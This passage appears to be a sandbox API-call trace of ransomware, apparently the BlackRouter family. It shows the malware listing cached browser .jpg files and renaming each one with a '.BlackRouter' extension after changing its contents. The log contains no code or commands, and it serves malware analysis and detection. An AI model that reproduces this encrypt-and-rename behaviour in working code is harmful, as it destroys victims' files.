ftLastAccessTime.dwLowDateTime=0x457be4b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc3c0fd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x24d0)) returned 1 [0063.282] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg.blackrouter")) returned 1 [0063.284] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3417 [0063.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b76710, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b76710, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc459550, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3420)) returned 1 [0063.344] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg.blackrouter")) returned 1 [0063.346] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xc0b [0063.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc459550, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc10)) returned 1 [0063.355] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg.blackrouter")) returned 1 [0063.357] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3c4c [0063.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45510bf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45510bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc47f6b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3c50)) returned 1 [0063.365] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg.blackrouter")) returned 1 [0063.367] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1f0e [0063.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459f9950, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459f9950, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc4a5810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1f10)) returned 1 [0063.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg.blackrouter")) returned 1 [0063.378] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x980 [0063.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4587cb90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4587cb90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc4a5810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1 [0063.389] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg.blackrouter")) returned 1 [0063.391] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x23fd [0063.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc4f1ad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1 [0063.405] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg.blackrouter")) returned 1 [0063.406] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1a59 [0063.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x467cf930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc4f1ad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a60)) returned 1 [0063.418] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg.blackrouter")) returned 1 [0063.420] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7b0 [0063.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc517c30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0063.433] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg.blackrouter")) returned 1 [0063.434] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x44ec [0063.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x467cf930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc53dd90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x44f0)) returned 1 [0063.449] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg.blackrouter")) returned 1 [0063.449] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x171b [0063.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbde8add0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbde8add0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcc563ef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1720)) returned 1 [0063.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg.blackrouter")) returned 1 [0063.460] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1826 [0063.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457721f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457721f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc563ef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1830)) returned 1 [0063.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg.blackrouter")) returned 1 [0063.465] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5e5 [0063.477] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcc58a050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5f0)) returned 1 [0063.477] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg.blackrouter")) returned 1 [0063.479] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5e5 [0063.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b505b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b505b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc5b01b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5f0)) returned 1 [0063.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg.blackrouter")) returned 1 [0063.486] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3565 [0063.501] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x467cf930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc5d6310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3570)) returned 1 [0063.501] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg.blackrouter")) returned 1 [0063.504] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x38b7 [0063.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459ad690, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459ad690, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc6225d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x38c0)) returned 1 [0063.536] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary 